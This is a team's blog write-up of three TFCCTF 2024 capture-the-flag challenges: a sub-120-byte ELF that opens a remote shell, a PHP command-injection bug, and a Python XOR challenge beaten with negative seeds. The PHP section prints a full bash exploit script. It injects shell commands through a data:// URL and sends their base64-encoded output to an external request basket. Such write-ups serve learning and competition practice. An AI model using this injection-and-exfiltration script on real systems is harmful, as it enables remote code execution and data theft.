Recently we participated in this year’s TFCCTF challenge. While our results were not perfect, we managed to score high 48th place out of 924 participants, who scored 50 or more points. Since this was the second CTF competition we participated in and our first ever CTF on which anyone could join, we are quite satisfied with the result. This post will mention only a few of our favorite challenges from the CTF however, if you are interested in other challenges and some writeups, here are some useful links:
https://lumablog.com/blog/04-virtual/
https://lumablog.com/blog/05-vspm/
https://github.com/MateiBuzdea/TFC-CTF-2024
https://p4rr4.github.io/posts/TFC-CTF-Surfing-and-Safe-Content/
For other information visit the official TFCCTF Discord server, you can find the invite link on their official website (at the time of writing this post the website was down).
Anyway, all the challenges were well-written and very interesting.
Santa’s little helper
We were given a Linux executable that asked us to provide an ELF file (which is a common format of Linux executables) which will be executed by the program. There is a catch though. The length of the ELF program had to be under 120 bytes. Solving this problem took us several hours. We wrote an assembly program that opens up the shell /bin/sh
. After writing it with the least possible number of assembly instructions, we were left with a file that was 124 bytes. This was, unfortunately, still over the 120 bytes limit. To shrink this further, we had to analyze the ELF file format itself and overlap specific bytes that Linux completely ignores to get under 120 bytes. In the end, we got an executable at 116 bytes and inserted it into the challenge which allowed us to remotely execute commands on the server. After listing the content of the working directory, we found the flag.txt
file which contained the flag.
Safe content
We were presented with a simple website containing only a single HTML form, this form consisted of a text input field and the submit button, the input field was labeled with Enter URL
. We were also given a website PHP source code. By analyzing the code, we concluded that the content of an input field is used as a $filename
argument of the file_get_contents()
PHP function. The only limitation was that parse_url()
PHP function had to return localhost
as the URL host. After file_get_contents()
returned file content it was then inserted into the shell command, this command piped file content into the base64 command to encode it and then saved it under /tmp
directory.
Since file content was not escaped in any way, this was an exploit we were looking for. All we had to do was somehow set file content to our payload, for this purpose we used data URL scheme. We wrote the following shell script that can be used to generate and send a URL that will inject and execute any shell command and send us the command result.
#!/bin/bash
COMMAND=$1
REMOTE_EXEC=$(echo 'echo "<?php file_get_contents(\"https://rbaskets.in/k67tcga?data=$(' $COMMAND ' | base64 --wrap=0)\");" | php')
PAYLOAD='$('$REMOTE_EXEC')'
echo "Payload:"
echo $PAYLOAD
URL='data://localhost/test/plain;base64,'$(echo $PAYLOAD | base64 --wrap=0 | base64 --wrap=0)
echo 'URL:'
echo $URL
echo "Sending payload..."
curl -G -d "url=$URL" "http://challs.tfcctf.com:31116/"
BashThe command result was base64 encoded and sent to our request basket. After executing a few ls
commands we finally found /flag.txt
file with the flag in it.
Secret message
We were provided with the code that encrypts the flag.
import random
import secrets
def hide(string, seed, shuffle):
random.seed(seed)
byts = []
for _ in range(len(string)):
byts.append(random.randint(0, 255))
print(byts)
random.seed(shuffle)
for i in range(100):
random.shuffle(byts)
res = bytes([a^b for a, b in zip(string, byts)])
print([a^b for a, b in zip(string, byts)])
print(chr(res[0]^byts[0]), res[0]^byts[0])
return res
actual_random_number = secrets.randbelow(1_000_000_000_000_000_000)
flag = open("flag", "rb").read()
print("Give me 6 different seeds:")
seed_1 = int(input("Seed 1: "))
seed_2 = int(input("Seed 2: "))
seed_3 = int(input("Seed 3: "))
seed_4 = int(input("Seed 4: "))
seed_5 = int(input("Seed 5: "))
seed_6 = int(input("Seed 6: "))
seeds_set = set([seed_1, seed_2, seed_3, seed_4, seed_5, seed_6])
if len(seeds_set) < 6:
print("The seeds must be different!")
exit()
hidden_flag_1 = hide(flag, seed_1, actual_random_number)
hidden_flag_2 = hide(hidden_flag_1, seed_2, actual_random_number)
hidden_flag_3 = hide(hidden_flag_2, seed_3, actual_random_number)
hidden_flag_4 = hide(hidden_flag_3, seed_4, actual_random_number)
hidden_flag_5 = hide(hidden_flag_4, seed_5, actual_random_number)
hidden_flag_6 = hide(hidden_flag_5, seed_6, actual_random_number)
print(f"Here is your result:", hidden_flag_6)
PythonWe can see that the flag is encrypted 6 times in total. The program prohibits us from using the same seed twice because if we could we would cancel XOR with the same key. After some trial and error, we figured out that random.seed() doesn’t distinguish between random.seed(1) and random.seed(-1). With this knowledge, we can bypass this part of the code.
if len(seeds_set) < 6:
print("The seeds must be different!")
exit()
PythonResult:
python main.py
Give me 6 different seeds:
Seed 1: 1
Seed 2: -1
Seed 3: 2
Seed 4: -2
Seed 5: 3
Seed 6: -3
Here is your result: b'TFCCTF{i_am_flag}'